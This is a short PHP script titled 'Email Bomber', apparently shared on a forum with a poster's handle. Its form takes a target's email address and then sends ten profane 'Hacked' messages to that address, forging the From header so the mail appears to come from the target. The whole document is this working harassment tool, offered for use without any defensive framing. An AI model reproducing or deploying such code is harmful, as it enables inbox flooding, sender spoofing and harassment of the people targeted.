[ PHP ] Email Bomber

<?php
//Copy Righted Waffles./scheols
$hackedemail = $_POST['emailhacked'];
if(isset($_POST['hack'])){
$hack = 1;
$user = "FUCKEN GOT HACKED ROTFL";
while($hack <= 10){
mail($hackedemail,"Hacked","Fucken Got Pwned", "From: " ."Got Hacked. - ". $user. "<" . $hackedemail . ">\n");
echo "Hacked";
$hack++;
}
}elseif(!isset($_POST['hack'])){
?>
<form method='post'>
<input type='text' name='emailhacked'><br>
<input type='submit' name='hack' value='Hack Person'>
</form>
<? } ?>

@NeoInvasor